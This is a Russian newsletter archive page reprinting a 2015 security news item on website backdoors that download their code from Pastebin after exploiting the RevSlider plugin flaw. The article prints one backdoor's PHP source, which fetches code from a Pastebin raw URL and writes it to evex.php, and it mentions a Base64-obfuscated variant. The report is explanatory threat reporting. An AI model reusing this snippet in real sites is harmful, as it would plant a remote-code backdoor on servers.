Отправляет email-рассылки с помощью сервиса Sendsay

Хakep_daily

Подписаться Бесплатная «Серебряная» новостная рассылка . Подписчиков 245 RSS
←   Январь 2015   →
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
14.01.2015
12:58:15
13:45:49
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


За последние 60 дней ни разу не выходила


Сайт рассылки: http://www.xakep.ru/
Открыта: 09-04-2009

Автор
Шахова Марина

Статистика

245 подписчиков
0 за неделю
←   Все выпуски   →

Бэкдоры загружают код с Pastebin *


PDA   подписка    wiki   bugtrack   статьи    видео   блог   форум   поиск    друзья   






Бэкдоры загружают код с Pastebin
2015-01-09 14:53 Denis Mirkov

Специалист по безопасности Денис Синегубко из компании Sucuri рассказывает о нескольких бэкдорах, которые используют известный сервис Pastebin для размещения своего кода. В момент заражения код скачивается, сохраняется в файл на компьютере жертвы и запускается на исполнение.

Бэкдоры в показанных примерах используют уязвимость в плагине RevSlider, и во всех остальных отношениях являются типичными представителями своего вида. Например, вот исходный код одного из них.

if(array_keys($_GET)[0] == 'up'){
$content = file_get_contents("http://pastebin . com/raw.php?i=JK5r7NyS");
if($content){unlink('evex.php');
$fh2 = fopen("evex.php", 'a');
fwrite($fh2,$content);
fclose($fh2);
}}else{print "test";}

Собственно, Pastebin предназначен как раз для этого: хостинга исходников. Сайт разрешает скачивать каждый фрагмент исходного кода в «сыром» формате (raw.php в вышеприведённом листинге), то есть без элементов интерфейса сайта.

Есть и пример более искусного бэкдора, который использует Pastebin.

003

Переменная $temp закодирована в Base64, а после раскодирования тоже показывает ссылку на Pastebin.

004

Интересно, что существует даже специальный обфускатор, который предусматривает хостинг кода обфусцированной программы на Pastebin. Кодировщик называется FathurFreakz (альтернативное название: PHP Encryptor by Yogyakarta Black Hat).

Прочитать полностью на сайте: Бэкдоры загружают код с Pastebin


© Copyright Gameland
В избранное